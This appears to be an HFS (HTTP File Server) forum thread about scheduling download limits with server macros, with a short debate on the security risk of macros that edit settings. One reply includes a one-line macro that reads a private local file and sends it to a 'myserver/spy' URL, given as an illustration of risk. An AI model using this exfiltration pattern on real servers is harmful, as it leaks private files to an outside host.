How about a 'Schedule Action'?

[Kremlin]

Well this comes in mind from what i've experience with my server when at certain hours of the day there's just too many people downloading from the server simultaneously (LAN wise), making the internet/intranet quite slow. I know you might suggest that limits are already available and don't get me wrong they can be quite useful, but what i'm suggesting is an integrated system in HFS which will allow at a certain hour to modify automatically some of the limits or even turn on/off the server without admin interaction (having to access everyday at certain hours might not always be possible). This would allow users to get max capability relitively to download speeds off peak hours and allow semi-acceptable internet speeds on peak hours. Anyway it's just an idea. 

[Mars]

what you ask is here

http://www.rejetto.com/forum/index.php?topic=6588.msg1040199#msg1040199

[rejetto]

no mars, it cannot be done just with that, because you cannot change the limit.

anyway, let's say you want max 10 downloads from 8AM to midnight

[download]
{.if|{.and | {.{.time|h.} >= 8.} | {.{.count downloads.} >= 10.} /and.}
| {:{.disconnection reason|sorry, retry later.}:}
/if.}


macro "count downloads" will be available from next build. (some variants are already available)

[Kremlin]

[download]
{.if|{.{.time|h.} >= 18.} | {.set|speed-limit|100.}.}

From 18PM to 00 it will set total speed limit too 100KBps?

[rejetto]

yes, but there's no such "set" at the moment.

in next build you will be able to
{.set ini|speed-limit=100.}

[Kremlin]

cool 

[Mars]

in next build you will be able to
{.set ini|.... .}

cool but dangerous with some values of hfs.ini, you have to make a list of invalidate actions.

 You should not forget that most of the servers turn with scripts which were made and often modified by the others, any hostility could permêtre slide or change fundamental values for the security of hfs (.ini ), the existence of the maccro for the creation of the accounts is already a risk is there.

[rejetto]

with {.load.} alone you can send over the internet information read locally
{.load|http://myserver/spy?what={.load|private_file.}.}

what is more dangerous then?

i'm not following a policy of WHAT you can, but WHO can: internal yes, external no.
that's why there are obstacles when macros come from external sources.
simpler strategies are less bug prone.

anyway, it is right to ponder on security risks.